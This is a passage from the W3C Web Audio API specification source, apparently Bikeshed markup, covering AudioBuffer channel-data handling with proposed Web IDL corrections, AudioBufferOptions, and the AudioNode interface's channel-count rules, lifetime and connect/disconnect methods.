to</del><ins>allow [=ArrayBufferView/write|writing=] into</ins>\n\t\tor [=get a copy of the buffer source|getting a copy of=]\n\t\tthe bytes stored in {{[[internal data]]}} in a new\n\t\t{{Float32Array}}\n\t\t</div>\n\n\t\tA {{UnknownError}} may be thrown if the {{[[internal\n\t\tdata]]}} or the new {{Float32Array}} cannot be\n\t\tcreated.\n\n\t\t<pre class=argumentdef for=\"AudioBuffer/getChannelData()\">\n\t\tchannel: This parameter is an index representing the particular channel to get data for. An index value of 0 represents the first channel. <span class=\"synchronous\">This index value MUST be less than {{[[number of channels]]}} or an {{IndexSizeError}} exception MUST be thrown.</span>\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{Float32Array}}\n\t\t</div>\n</dl>\n\nNote: The methods {{AudioBuffer/copyToChannel()}} and\n{{AudioBuffer/copyFromChannel()}} can be used to fill part of an array by\npassing in a {{Float32Array}} that's a view onto the larger\narray. When reading data from an {{AudioBuffer}}'s channels, and\nthe data can be processed in chunks, {{AudioBuffer/copyFromChannel()}}\nshould be preferred to calling {{AudioBuffer/getChannelData()}} and\naccessing the resulting array, because it may avoid unnecessary\nmemory allocation and copying.\n\nAn internal operation <a href=\"#acquire-the-content\">acquire the\ncontents of an AudioBuffer</a> is invoked when the\ncontents of an {{AudioBuffer}} are needed by some API\nimplementation. This operation returns immutable channel data to the\ninvoker.\n\n<div algorithm=\"acquire the content of an AudioBuffer\">\n\tWhen an <dfn lt=\"acquire the content|acquire the contents of an AudioBuffer\">acquire the content</dfn>\n\toperation occurs on an {{AudioBuffer}}, run the following steps:\n\n\t\n\t1.\n\t\t<div class=\"correction proposed\" id=\"c2361-4\">\n\t\t  <span class=\"marker\">Proposed Correction\n\t\t  <a href=\"https://github.com/WebAudio/web-audio-api/issues/2361\">Issue 2361</a>-4.\n\t\t  </span>\n\t\t  Use new Web IDL buffer primitives\n\t\t  <div class=\"amendment-buttons\">\n\t\t    Buttons here\n\t\t  </div>\n\t\tIf <del>the operation <a href=\"https://tc39.github.io/ecma262/#sec-isdetachedbuffer\"><code>IsDetachedBuffer</code></a>\n\t\ton any of the {{AudioBuffer}}'s {{ArrayBuffer}}s</del><ins>any of the {{AudioBuffer}}'s {{ArrayBuffer}}s are\n\t\t[=BufferSource/detached=]</ins>, return `true`, abort these steps, and\n\t\treturn a zero-length channel data buffer to the invoker.\n\t\t</div>\n\n\t2. <div class=\"correction proposed\" id=\"c2361-5\">\n\t\t  <span class=\"marker\">Proposed Correction\n\t\t  <a href=\"https://github.com/WebAudio/web-audio-api/issues/2361\">Issue 2361</a>-5.\n\t\t  </span>\n\t\t  Use new Web IDL buffer primitives\n\t\t  <div class=\"amendment-buttons\">\n\t\t    Buttons here\n\t\t  </div>\n\t\t<del><a href=\"https://tc39.github.io/ecma262/#sec-detacharraybuffer\">Detach</a></del><ins>[=ArrayBuffer/Detach=]</ins> all {{ArrayBuffer}}s for arrays previously returned\n\t\tby {{AudioBuffer/getChannelData()}} on this {{AudioBuffer}}.\n\t\t</div>\n\n\t\tNote: Because {{AudioBuffer}} can only be created via\n\t\t{{BaseAudioContext/createBuffer()}} or via the {{AudioBuffer}} constructor, this\n\t\tcannot throw.\n\n\t3. Retain the underlying {{[[internal data]]}} from those\n\t\t{{ArrayBuffer}}s and return references to them to the\n\t\tinvoker.\n\n\t4. Attach {{ArrayBuffer}}s containing copies of the data to\n\t\tthe {{AudioBuffer}}, to be returned by the next call to\n\t\t{{AudioBuffer/getChannelData()}}.\n</div>\n\nThe [=acquire the contents of an AudioBuffer=] operation is invoked in the following cases:\n\n* When {{AudioBufferSourceNode/start()|AudioBufferSourceNode.start}}  is called, it\n\t<a href=\"#acquire-the-content\">acquires the contents</a> of the\n\tnode's {{AudioBufferSourceNode/buffer}}. If the operation fails, nothing is\n\tplayed.\n\n* When the {{AudioBufferSourceNode/buffer}} of an {{AudioBufferSourceNode}}\n\tis set and {{AudioBufferSourceNode/start()|AudioBufferSourceNode.start}} has been\n\tpreviously called, the setter <a href=\"#acquire-the-content\">acquires\n\tthe content</a> of the {{AudioBuffer}}. If the operation fails,\n\tnothing is played.\n\n* When a {{ConvolverNode}}'s {{ConvolverNode/buffer}} is set to an\n\t{{AudioBuffer}} it <a href=\"#acquire-the-content\">acquires the content</a> of\n\tthe {{AudioBuffer}}.\n\n* When the dispatch of an {{AudioProcessingEvent}} completes, it\n\t<a href=\"#acquire-the-content\">acquires the contents</a> of its\n\t{{AudioProcessingEvent/outputBuffer}}.\n\nNote: This means that {{AudioBuffer/copyToChannel()}} cannot be used to change\nthe content of an {{AudioBuffer}} currently in use by an\n{{AudioNode}} that has [=acquire the content|acquired the content of an AudioBuffer=]\nsince the {{AudioNode}} will continue to use the data previously\nacquired.\n\n<h4 dictionary lt=\"audiobufferoptions\" id=\"AudioBufferOptions\">\n{{AudioBufferOptions}}</h4>\n\nThis specifies the options to use in constructing an\n{{AudioBuffer}}. The {{AudioBufferOptions/length}} and {{AudioBufferOptions/sampleRate}} members are\nrequired.\n\n<pre class=\"idl\">\ndictionary AudioBufferOptions {\n\tunsigned long numberOfChannels = 1;\n\trequired unsigned long length;\n\trequired float sampleRate;\n};\n</pre>\n\n<h5 id=\"dictionary-audiobufferoptions-members\">\nDictionary {{AudioBufferOptions}} Members</h5>\n\nThe allowed values for the members of this dictionary are constrained.  See {{BaseAudioContext/createBuffer()}}.\n\n<dl dfn-type=dict-member dfn-for=\"AudioBufferOptions\">\n\t: <dfn>length</dfn>\n\t::\n\t\tThe length in sample frames of the buffer. See {{BaseAudioContext/createBuffer()/length}} for constraints.\n\n\t: <dfn>numberOfChannels</dfn>\n\t::\n\t\tThe number of channels for the buffer.  See {{BaseAudioContext/createBuffer()/numberOfChannels}} for constraints.\n\n\t: <dfn>sampleRate</dfn>\n\t::\n\t\tThe sample rate in Hz for the buffer.  See {{BaseAudioContext/createBuffer()/sampleRate}} for constraints.\n</dl>\n\n\n<!--\n   ███    ██     ██ ████████  ████  ███████  ██    ██  ███████  ████████  ████████\n  ██ ██   ██     ██ ██     ██  ██  ██     ██ ███   ██ ██     ██ ██     ██ ██\n ██   ██  ██     ██ ██     ██  ██  ██     ██ ████  ██ ██     ██ ██     ██ ██\n██     ██ ██     ██ ██     ██  ██  ██     ██ ██ ██ ██ ██     ██ ██     ██ ██████\n█████████ ██     ██ ██     ██  ██  ██     ██ ██  ████ ██     ██ ██     ██ ██\n██     ██ ██     ██ ██     ██  ██  ██     ██ ██   ███ ██     ██ ██     ██ ██\n██     ██  ███████  ████████  ████  ███████  ██    ██  ███████  ████████  ████████\n-->\n\n\n<h3 interface lt=\"audionode\" id=\"AudioNode\">\nThe {{AudioNode}} Interface</h3>\n\n{{AudioNode}}s are the building blocks of an {{AudioContext}}. This interface\nrepresents audio sources, the audio destination, and intermediate\nprocessing modules. These modules can be connected together to form\n<a href=\"#ModularRouting\">processing graphs</a> for rendering audio\nto the audio hardware. Each node can have <a>inputs</a> and/or\n<a>outputs</a>. A <a>source node</a> has no inputs and a single\noutput. Most processing nodes such as filters will have one input and\none output. Each type of {{AudioNode}} differs in the\ndetails of how it processes or synthesizes audio. But, in general, an\n{{AudioNode}} will process its inputs (if it has\nany), and generate audio for its outputs (if it has any).\n\nEach output has one or more channels. The exact number of channels\ndepends on the details of the specific {{AudioNode}}.\n\nAn output may connect to one or more {{AudioNode}}\ninputs, thus <em>fan-out</em> is supported. An input initially has no\nconnections, but may be connected from one or more {{AudioNode}}\noutputs, thus <em>fan-in</em> is supported. When the\n<code>connect()</code> method is called to connect an output of an\n{{AudioNode}} to an input of an {{AudioNode}}, we call that a\n<dfn>connection</dfn> to the input.\n\nEach {{AudioNode}} <dfn>input</dfn> has a specific number of\nchannels at any given time. This number can change depending on the\n<a>connection</a>(s) made to the input. If the input has no\nconnections then it has one channel which is silent.\n\nFor each <a>input</a>, an {{AudioNode}} performs a\nmixing of all connections to that input.\nPlease see <a href=\"#channel-up-mixing-and-down-mixing\"></a>\nfor normative requirements and details.\n\nThe processing of inputs and the internal operations of an\n{{AudioNode}} take place continuously with respect to\n{{AudioContext}} time, regardless of whether the node has\nconnected outputs, and regardless of whether these outputs ultimately\nreach an {{AudioContext}}'s {{AudioDestinationNode}}.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface AudioNode : EventTarget {\n\tAudioNode connect (AudioNode destinationNode,\n\t                   optional unsigned long output = 0,\n\t                   optional unsigned long input = 0);\n\tundefined connect (AudioParam destinationParam, optional unsigned long output = 0);\n\tundefined disconnect ();\n\tundefined disconnect (unsigned long output);\n\tundefined disconnect (AudioNode destinationNode);\n\tundefined disconnect (AudioNode destinationNode, unsigned long output);\n\tundefined disconnect (AudioNode destinationNode,\n\t                      unsigned long output,\n\t                      unsigned long input);\n\tundefined disconnect (AudioParam destinationParam);\n\tundefined disconnect (AudioParam destinationParam, unsigned long output);\n\treadonly attribute BaseAudioContext context;\n\treadonly attribute unsigned long numberOfInputs;\n\treadonly attribute unsigned long numberOfOutputs;\n\tattribute unsigned long channelCount;\n\tattribute ChannelCountMode channelCountMode;\n\tattribute ChannelInterpretation channelInterpretation;\n};\n</pre>\n\n<h4 id=\"AudioNode-creation\">\nAudioNode Creation</h4>\n\n{{AudioNode}}s can be created in two ways: by using the\nconstructor for this particular interface, or by using the\n<dfn>factory method</dfn> on the {{BaseAudioContext}} or\n{{AudioContext}}.\n\nThe {{BaseAudioContext}} passed as first argument of the\nconstructor of an {{AudioNode}}s is called the <dfn id=\"associated\">associated {{BaseAudioContext}}</dfn> of the\n{{AudioNode}} to be created. Similarly, when using the factory\nmethod, the <a>associated <code>BaseAudioContext</code></a> of the\n{{AudioNode}} is the {{BaseAudioContext}} this factory method\nis called on.\n\n<div algorithm=\"AudioNode factory method\">\n\tTo create a new {{AudioNode}} of a particular type <var>n</var>\n\tusing its <a>factory method</a>, called on a\n\t{{BaseAudioContext}} <var>c</var>, execute these steps:\n\n\t1. Let <var>node</var> be a new object of type <var>n</var>.\n\n\t2. Let <var>option</var> be a dictionary of the type <a lt=\"associated option\n\t\tobject\">associated</a> to the interface <a lt=\"associated interface\">\n\t\tassociated</a> to this factory method.\n\n\t3. For each parameter passed to the factory method, set the\n\t\tdictionary member of the same name on <var>option</var> to the\n\t\tvalue of this parameter.\n\n\t4. Call the constructor for <var>n</var> on <var>node</var> with\n\t\t<var>c</var> and <var>option</var> as arguments.\n\n\t5. Return <var>node</var>\n</div>\n\n<div algorithm=\"initialize an AudioNode\">\n\t<dfn id=\"audionode-constructor-init\">Initializing</dfn> an object\n\t<var>o</var> that inherits from {{AudioNode}} means executing the following\n\tsteps, given the arguments <var>context</var> and <var>dict</var> passed to\n\tthe constructor of this interface.\n\n\t1. Set <var>o</var>'s associated {{BaseAudioContext}} to <var>context</var>.\n\n\t2. Set its value for {{AudioNode/numberOfInputs}},\n\t\t{{AudioNode/numberOfOutputs}}, {{AudioNode/channelCount}},\n\t\t{{AudioNode/channelCountMode}}, {{AudioNode/channelInterpretation}} to the\n\t\tdefault value for this\n\t\tspecific interface outlined in the section for each {{AudioNode}}.\n\n\t3. For each member of <var>dict</var> passed in, execute these steps, with\n\t\t<var>k</var> the key of the member, and <var>v</var> its value. If any\n\t\texceptions is thrown when executing these steps, abort the iteration and\n\t\tpropagate the exception to the caller of the algorithm (constructor or\n\t\tfactory method).\n\n\t\t1. If <var>k</var> is the name of an {{AudioParam}} on this\n\t\t\tinterface, set the {{AudioParam/value}}\n\t\t\tattribute of this {{AudioParam}} to <var>v</var>.\n\n\t\t2. Else if <var>k</var> is the name of an attribute on this\n\t\t\tinterface, set the object associated with this attribute to\n\t\t\t<var>v</var>.\n</div>\n\nThe <dfn>associated interface</dfn> for a factory method is the\ninterface of the objects that are returned from this method. The\n<dfn>associated option object</dfn> for an interface is the option\nobject that can be passed to the constructor for this interface.\n\n{{AudioNode}}s are {{EventTarget}}s, as described in [[!DOM]].\nThis means that it is possible to dispatch events to\n{{AudioNode}}s the same way that other {{EventTarget}}s\naccept events.\n\n<pre class=\"idl\">\nenum ChannelCountMode {\n\t\"max\",\n\t\"clamped-max\",\n\t\"explicit\"\n};\n</pre>\n\nThe {{ChannelCountMode}}, in conjuction with the node's\n{{AudioNode/channelCount}} and {{AudioNode/channelInterpretation}} values, is used to determine\nthe <dfn>computedNumberOfChannels</dfn> that controls how inputs to a\nnode are to be mixed. The <a>computedNumberOfChannels</a> is\ndetermined as shown below. See <a href=\"#channel-up-mixing-and-down-mixing\"></a> for more information on how\nmixing is to be done.\n\n<div class=\"enum-description\">\n<table class=\"simple\" dfn-type=enum-value dfn-for=\"ChannelCountMode\">\n\t<thead>\n\t<tr>\n\t\t<th scope=\"col\" colspan=\"2\">\n\t\t\tEnumeration description\n\t<tbody>\n\t<tr>\n\t\t<td>\"<dfn>max</dfn>\"\n\t\t<td>\n\t\t\t<a>computedNumberOfChannels</a> is the maximum of the number of\n\t\t\tchannels of all connections to an input. In this mode\n\t\t\t{{AudioNode/channelCount}} is ignored.\n\t<tr>\n\t\t<td>\"<dfn>clamped-max</dfn>\"\n\t\t<td>\n\t\t\t<a>computedNumberOfChannels</a> is determined as for \"{{ChannelCountMode/max}}\"\n\t\t\tand then clamped to a maximum value of the given\n\t\t\t{{AudioNode/channelCount}}.\n\t<tr>\n\t\t<td>\"<dfn>explicit</dfn>\"\n\t\t<td>\n\t\t\t<a>computedNumberOfChannels</a> is the exact value as specified\n\t\t\tby the {{AudioNode/channelCount}}.\n</table>\n</div>\n\n<pre class=\"idl\">\nenum ChannelInterpretation {\n\t\"speakers\",\n\t\"discrete\"\n};\n</pre>\n\n<div class=\"enum-description\">\n<table class=\"simple\" dfn-type=enum-value dfn-for=\"ChannelInterpretation\">\n\t<thead>\n\t<tr>\n\t\t<th scope=\"col\" colspan=\"2\">\n\t\t\tEnumeration description\n\t<tbody>\n\t<tr>\n\t\t<td>\"<dfn>speakers</dfn>\"\n\t\t<td>\n\t\t\tuse <a href=\"#UpMix-sub\">up-mix equations</a> or <a href=\"#down-mix\">down-mix equations</a>. In cases where the number of\n\t\t\tchannels do not match any of these basic speaker layouts, revert\n\t\t\tto \"{{ChannelInterpretation/discrete}}\".\n\t<tr>\n\t\t<td>\"<dfn>discrete</dfn>\"\n\t\t<td>\n\t\t\tUp-mix by filling channels until they run out then zero out\n\t\t\tremaining channels. Down-mix by filling as many channels as\n\t\t\tpossible, then dropping remaining channels.\n</table>\n</div>\n\n<h4 id=\"AudioNode-tail\">AudioNode Tail-Time</h4>\n\nAn {{AudioNode}} can have a <dfn>tail-time</dfn>. This means that even when the\n{{AudioNode}} is fed silence, the output can be non-silent.\n\n{{AudioNode}}s have a non-zero tail-time if they have internal processing state\nsuch that input in the past affects the future output. {{AudioNode}}s\nmay continue to produce non-silent output for the calculated tail-time even\nafter the input transitions from non-silent to silent.\n\n<h4 id=\"AudioNode-actively-processing\">AudioNode Lifetime</h4>\n\n{{AudioNode}} can be <dfn id=\"actively-processing\">actively processing</dfn>\nduring a <a>render quantum</a>, if any of the following conditions hold.\n\n- An {{AudioScheduledSourceNode}} is [=actively processing=] if and only if it\n\tis [=playing=] for at least part of the current rendering quantum.\n- A {{MediaElementAudioSourceNode}} is [=actively processing=] if and only if its\n\t{{MediaElementAudioSourceNode/mediaElement}} is playing for at least part of\n\tthe current rendering quantum.\n- A {{MediaStreamAudioSourceNode}} or a {{MediaStreamTrackAudioSourceNode}} are\n\t[=actively processing=] when the associated\n\t{{MediaStreamTrack}} object has a\n\t<code>readyState</code> attribute equal to <code>\"live\"</code>, a\n\t<code>muted</code> attribute equal to <code>false</code> and an\n\t<code>enabled</code> attribute equal to <code>true</code>.\n- A {{DelayNode}} in a cycle is [=actively processing=] only when the absolute value\n\tof any output sample for the current [=render quantum=] is greater than or equal\n\tto \\( 2^{-126} \\).\n- A {{ScriptProcessorNode}} is [=actively processing=] when its input or output is\n\tconnected.\n- An {{AudioWorkletNode}} is [=actively processing=] when its\n\t{{AudioWorkletProcessor}}'s {{[[callable process]]}} returns <code>true</code>\n\tand either its [=active source=] flag is <code>true</code> or any\n\t{{AudioNode}} connected to one of its inputs is [=actively processing=].\n- All other {{AudioNode}}s start [=actively processing=] when any\n\t{{AudioNode}} connected to one of its inputs is [=actively processing=], and\n\tstops [=actively processing=] when the input that was received from other\n\t[=actively processing=] {{AudioNode}} no longer affects the output.\n\nNote: This takes into account {{AudioNode}}s that have a [=tail-time=].\n\n{{AudioNode}}s that are not [=actively processing=] output a single channel of\nsilence.\n\n\n<h4 id=\"AudioNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"AudioNode\">\n\t: <dfn>channelCount</dfn>\n\t::\n\t\t{{AudioNode/channelCount}} is the number of channels used when\n\t\tup-mixing and down-mixing connections to any inputs to the\n\t\tnode. The default value is 2 except for specific nodes where\n\t\tits value is specially determined. This attribute has no effect\n\t\tfor nodes with no inputs. <span class=\"synchronous\">If this\n\t\tvalue is set to zero or to a value greater than the\n\t\timplementation's maximum number of channels the implementation\n\t\tMUST throw a {{NotSupportedError}} exception.</span>\n\n\t\tIn addition, some nodes have additional <dfn dfn>channelCount\n\t\tconstraints</dfn> on the possible values for the channel count:\n\n\t\t:  {{AudioDestinationNode}}\n\t\t::\n\t\t\tThe behavior depends on whether the destination node is the\n\t\t\tdestination of an {{AudioContext}} or\n\t\t\t{{OfflineAudioContext}}:\n\n\t\t\t: {{AudioContext}}\n\t\t\t::\n\t\t\t\tThe channel count MUST be between 1 and\n\t\t\t\t{{AudioDestinationNode/maxChannelCount}}. An <span class=\"synchronous\">{{IndexSizeError}} exception MUST\n\t\t\t\tbe thrown for any attempt to set the count outside this\n\t\t\t\trange</span>.\n\t\t\t: {{OfflineAudioContext}}\n\t\t\t::\n\t\t\t\tThe channel count cannot be changed. An <span class=\"synchronous\">{{InvalidStateError}} exception\n\t\t\t\tMUST be thrown for any attempt to change the\n\t\t\t\tvalue.</span>\n\n\t\t: {{AudioWorkletNode}}\n\t\t::\n\t\t\tSee [[#configuring-channels-with-audioworkletnodeoptions]]\n\t\t\tConfiguring Channels with AudioWorkletNodeOptions</a>.\n\n\t\t: {{ChannelMergerNode}}\n\t\t::\n\t\t\tThe channel count cannot be changed, and an <span class=\"synchronous\">{{InvalidStateError}} exception MUST\n\t\t\tbe thrown for any attempt to change the value.</span>\n\n\t\t: {{ChannelSplitterNode}}\n\t\t::\n\t\t\tThe channel count cannot be changed, and an <span class=\"synchronous\">{{InvalidStateError}} exception MUST\n\t\t\tbe thrown for any attempt to change the value.</span>\n\n\t\t: {{ConvolverNode}}\n\t\t::\n\t\t\tThe channel count cannot be greater than two, and a\n\t\t\t<span class=\"synchronous\">{{NotSupportedError}}\n\t\t\texception MUST be thrown for any attempt to change it to a\n\t\t\tvalue greater than two.</span>\n\n\t\t: {{DynamicsCompressorNode}}\n\t\t::\n\t\t\tThe channel count cannot be greater than two, and a\n\t\t\t<span class=\"synchronous\">{{NotSupportedError}}\n\t\t\texception MUST be thrown for any attempt to change it to a\n\t\t\tvalue greater than two.</span>\n\n\t\t: {{PannerNode}}\n\t\t::\n\t\t\tThe channel count cannot be greater than two, and a\n\t\t\t<span class=\"synchronous\">{{NotSupportedError}}\n\t\t\texception MUST be thrown for any attempt to change it to a\n\t\t\tvalue greater than two.</span>\n\n\t\t: {{ScriptProcessorNode}}\n\t\t::\n\t\t\tThe channel count cannot be changed, and an <span class=\"synchronous\">{{NotSupportedError}} exception MUST\n\t\t\tbe thrown for any attempt to change the value.</span>\n\n\t\t: {{StereoPannerNode}}\n\t\t::\n\t\t\tThe channel count cannot be greater than two, and a\n\t\t\t<span class=\"synchronous\">{{NotSupportedError}}\n\t\t\texception MUST be thrown for any attempt to change it to a\n\t\t\tvalue greater than two.</span>\n\n\t\tSee [[#channel-up-mixing-and-down-mixing]] for more information on this attribute.\n\n\t: <dfn>channelCountMode</dfn>\n\t::\n\t\t{{AudioNode/channelCountMode}} determines how channels will be counted\n\t\twhen up-mixing and down-mixing connections to any inputs to the\n\t\tnode. The default value is \"{{ChannelCountMode/max}}\". This attribute has no effect for nodes with no inputs.\n\n\t\tIn addition, some nodes have additional <dfn dfn>channelCountMode\n\t\tconstraints</dfn> on the possible values for the channel count\n\t\tmode:\n\n\t\t: {{AudioDestinationNode}}\n\t\t::\n\t\t\tIf the {{AudioDestinationNode}} is the {{BaseAudioContext/destination}} node of an\n\t\t\t{{OfflineAudioContext}}, then the channel count mode\n\t\t\tcannot be changed. An <span class=\"synchronous\">{{InvalidStateError}} exception MUST\n\t\t\tbe thrown for any attempt to change the value.</span>\n\t\t: {{ChannelMergerNode}}\n\t\t::\n\t\t\tThe channel count mode cannot be changed from \"{{ChannelCountMode/explicit}}\" and\n\t\t\tan <span class=\"synchronous\">{{InvalidStateError}}\n\t\t\texception MUST be thrown for any attempt to change the\n\t\t\tvalue.</span>\n\n\n\t\t: {{ChannelSplitterNode}}\n\t\t::\n\t\t\tThe channel count mode cannot be changed from \"{{ChannelCountMode/explicit}}\" and\n\t\t\tan <span class=\"synchronous\">{{InvalidStateError}}\n\t\t\texception MUST be thrown for any attempt to change the\n\t\t\tvalue.</span>\n\n\t\t: {{ConvolverNode}}\n\t\t::\n\t\t\tThe channel count mode cannot be set to \"{{ChannelCountMode/max}}\", and a\n\t\t\t<span class=\"synchronous\">{{NotSupportedError}}\n\t\t\texception MUST be thrown for any attempt to set it to\n\t\t\t\"{{ChannelCountMode/max}}\".</span>\n\n\t\t: {{DynamicsCompressorNode}}\n\t\t::\n\t\t\tThe channel count mode cannot be set to \"{{ChannelCountMode/max}}\", and a\n\t\t\t<span class=\"synchronous\">{{NotSupportedError}}\n\t\t\texception MUST be thrown for any attempt to set it to\n\t\t\t\"{{ChannelCountMode/max}}\".</span>\n\n\t\t: {{PannerNode}}\n\t\t::\n\t\t\tThe channel count mode cannot be set to \"{{ChannelCountMode/max}}\", and a\n\t\t\t<span class=\"synchronous\">{{NotSupportedError}}\n\t\t\texception MUST be thrown for any attempt to set it to\n\t\t\t\"{{ChannelCountMode/max}}\".</span>\n\n\t\t: {{ScriptProcessorNode}}\n\t\t::\n\t\t\tThe channel count mode cannot be changed from \"{{ChannelCountMode/explicit}}\" and\n\t\t\tan <span class=\"synchronous\">{{NotSupportedError}}\n\t\t\texception MUST be thrown for any attempt to change the\n\t\t\tvalue.</span>\n\n\t\t: {{StereoPannerNode}}\n\t\t::\n\t\t\tThe channel count mode cannot be set to \"{{ChannelCountMode/max}}\", and a\n\t\t\t<span class=\"synchronous\">{{NotSupportedError}}\n\t\t\texception MUST be thrown for any attempt to set it to\n\t\t\t\"{{ChannelCountMode/max}}\".</span>\n\n\t\tSee the <a href=\"#channel-up-mixing-and-down-mixing\"></a>\n\t\tsection for more information on this attribute.\n\n\t: <dfn>channelInterpretation</dfn>\n\t::\n\t\t{{AudioNode/channelInterpretation}} determines how individual channels\n\t\twill be treated when up-mixing and down-mixing connections to\n\t\tany inputs to the node. The default value is \"{{ChannelInterpretation/speakers}}\". This attribute has no effect for nodes\n\t\twith no inputs.\n\n\t\tIn addition, some nodes have additional\n\t\t<dfn dfn>channelInterpretation constraints</dfn> on the possible\n\t\tvalues for the channel interpretation:\n\n\t\t:  {{ChannelSplitterNode}}\n\t\t::\n\t\t\tThe channel intepretation can not be changed from\n\t\t\t\"{{ChannelInterpretation/discrete}}\" and a\n\t\t\t<span class=\"synchronous\">{{InvalidStateError}}\n\t\t\texception MUST be thrown for any attempt to change the\n\t\t\tvalue.</span>\n\n\t\tSee [[#channel-up-mixing-and-down-mixing]] for more information on this attribute.\n\n\t: <dfn>context</dfn>\n\t::\n\t\tThe {{BaseAudioContext}} which owns this {{AudioNode}}.\n\n\t: <dfn>numberOfInputs</dfn>\n\t::\n\t\tThe number of inputs feeding into the {{AudioNode}}. For\n\t\t<dfn dfn>source nodes</dfn>, this will be 0. This attribute is\n\t\tpredetermined for many {{AudioNode}} types, but some\n\t\t{{AudioNode}}s, like the {{ChannelMergerNode}} and the\n\t\t{{AudioWorkletNode}}, have variable number of inputs.\n\n\t: <dfn>numberOfOutputs</dfn>\n\t::\n\t\tThe number of outputs coming out of the {{AudioNode}}. This\n\t\tattribute is predetermined for some {{AudioNode}} types, but\n\t\tcan be variable, like for the {{ChannelSplitterNode}} and the\n\t\t{{AudioWorkletNode}}.\n</dl>\n\n<h4 id=\"AudioNode-methods\">\nMethods</h4>\n\n<dl dfn-type=method dfn-for=\"AudioNode\">\n\t: <dfn>connect(destinationNode, output, input)</dfn>\n\t::\n\t\tThere can only be one connection between a given output of one\n\t\tspecific node and a given input of another specific node.\n\t\tMultiple connections with the same termini are ignored.\n\n\t\t<div class=example>\n\t\t\tFor example:\n\n\t\t\t<pre highlight=\"js\">\n\t\t\t\tnodeA.connect(nodeB);\n\t\t\t\tnodeA.connect(nodeB);\n\t\t\t</pre>\n\n\t\t\twill have the same effect as\n\n\t\t\t<pre highlight=\"js\">\n\t\t\t\tnodeA.connect(nodeB);\n\t\t\t</pre>\n\t\t</div>\n\n\t\tThis method returns <code>destination</code>\n\t\t{{AudioNode}} object.\n\n\t\t<pre class=argumentdef for=\"AudioNode/connect(destinationNode, output, input)\">\n\t\t\tdestinationNode: The <code>destination</code> parameter is the {{AudioNode}} to connect to. <span class=\"synchronous\">If the <code>destination</code> parameter is an {{AudioNode}} that has been created using another {{AudioContext}}, an {{InvalidAccessError}} MUST be thrown</span>. That is, {{AudioNode}}s cannot be shared between {{AudioContext}}s. Multiple {{AudioNode}}s can be connected to the same {{AudioNode}}, this is described in [[#channel-up-mixing-and-down-mixing|Channel Upmixing and down mixing]] section.\n\t\t\toutput: The <code>output</code> parameter is an index describing which output of the {{AudioNode}} from which to connect. <span class=\"synchronous\">If this parameter is out-of-bounds, an {{IndexSizeError}} exception MUST be thrown.</span> It is possible to connect an {{AudioNode}} output to more than one input with multiple calls to connect(). Thus, \"fan-out\" is supported.\n\t\t\tinput:  The <code>input</code> parameter is an index describing which input of the destination {{AudioNode}} to connect to. <span class=\"synchronous\">If this parameter is out-of-bounds, an {{IndexSizeError}} exception MUST be thrown.</span> It is possible to connect an {{AudioNode}} to another {{AudioNode}} which creates a <dfn dfn for>cycle</dfn>: an {{AudioNode}} may connect to another {{AudioNode}}, which in turn connects back to the input or {{AudioParam}} of the first {{AudioNode}}.</span>\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{AudioNode}}\n\t\t</div>\n\n\t: <dfn>connect(destinationParam, output)</dfn>\n\t::\n\t\tConnects the {{AudioNode}} to an\n\t\t{{AudioParam}}, controlling the parameter value\n\t\twith an <a>a-rate</a> signal.\n\n\t\tIt is possible to connect an {{AudioNode}}\n\t\toutput to more than one {{AudioParam}} with\n\t\tmultiple calls to connect(). Thus, \"fan-out\" is supported.\n\n\t\tIt is possible to connect more than one\n\t\t{{AudioNode}} output to a single\n\t\t{{AudioParam}} with multiple calls to\n\t\tconnect(). Thus, \"fan-in\" is supported.\n\n\t\tAn {{AudioParam}} will take the rendered audio\n\t\tdata from any {{AudioNode}} output connected to\n\t\tit and <a href=\"#down-mix\">convert it to mono</a> by\n\t\tdown-mixing if it is not already mono, then mix it together\n\t\twith other such outputs and finally will mix with the\n\t\t<em>intrinsic</em> parameter value (the <code>value</code> the\n\t\t{{AudioParam}} would normally have without any\n\t\taudio connections), including any timeline changes scheduled\n\t\tfor the parameter.\n\n\t\tThe down-mixing to mono is equivalent to the down-mixing for an\n\t\t{{AudioNode}} with {{AudioNode/channelCount}} = 1,\n\t\t{{AudioNode/channelCountMode}} = \"{{ChannelCountMode/explicit}}\", and\n\t\t{{AudioNode/channelInterpretation}} = \"{{ChannelInterpretation/speakers}}\".\n\n\t\tThere can only be one connection between a given output of one\n\t\tspecific node and a specific {{AudioParam}}.\n\t\tMultiple connections with the same termini are ignored.\n\n\t\t<div class=example>\n\t\t\tFor example:\n\n\t\t\t<pre highlight=\"js\">\n\t\t\t\tnodeA.connect(param);\n\t\t\t\tnodeA.connect(param);\n\t\t\t</pre>\n\n\t\t\twill have the same effect as\n\n\t\t\t<pre highlight=\"js\">\n\t\t\t\tnodeA.connect(param);\n\t\t\t</pre>\n\t\t</div>\n\n\t\t<pre class=argumentdef for=\"AudioNode/connect(destinationParam, output)\">\n\t\t\tdestinationParam: The <code>destination</code> parameter is the {{AudioParam}} to connect to. This method does not return the <code>destination</code> {{AudioParam}} object. <span class=\"synchronous\">If {{AudioNode/connect(destinationParam, output)/destinationParam}} belongs to an {{AudioNode}} that belongs to a {{BaseAudioContext}} that is different from the {{BaseAudioContext}} that has created the {{AudioNode}} on which this method was called, an {{InvalidAccessError}} MUST be thrown.</span>\n\t\t\toutput: The <code>output</code> parameter is an index describing which output of the {{AudioNode}} from which to connect. <span class=\"synchronous\">If the <code>parameter</code> is out-of-bounds, an {{IndexSizeError}} exception MUST be thrown.</span>\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n\n\t: <dfn>disconnect()</dfn>\n\t::\n\t\tDisconnects all outgoing connections from the\n\t\t{{AudioNode}}.\n\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n\n\t: <dfn>disconnect(output)</dfn>\n\t::\n\t\tDisconnects a single output of the\n\t\t{{AudioNode}} from any other\n\t\t{{AudioNode}} or {{AudioParam}}\n\t\tobjects to which it is connected.\n\n\t\t<pre class=argumentdef for=\"AudioNode/disconnect(output)\">\n\t\t\toutput:  This parameter is an index describing which output of the {{AudioNode}} to disconnect. It disconnects all outgoing connections from the given output. <span 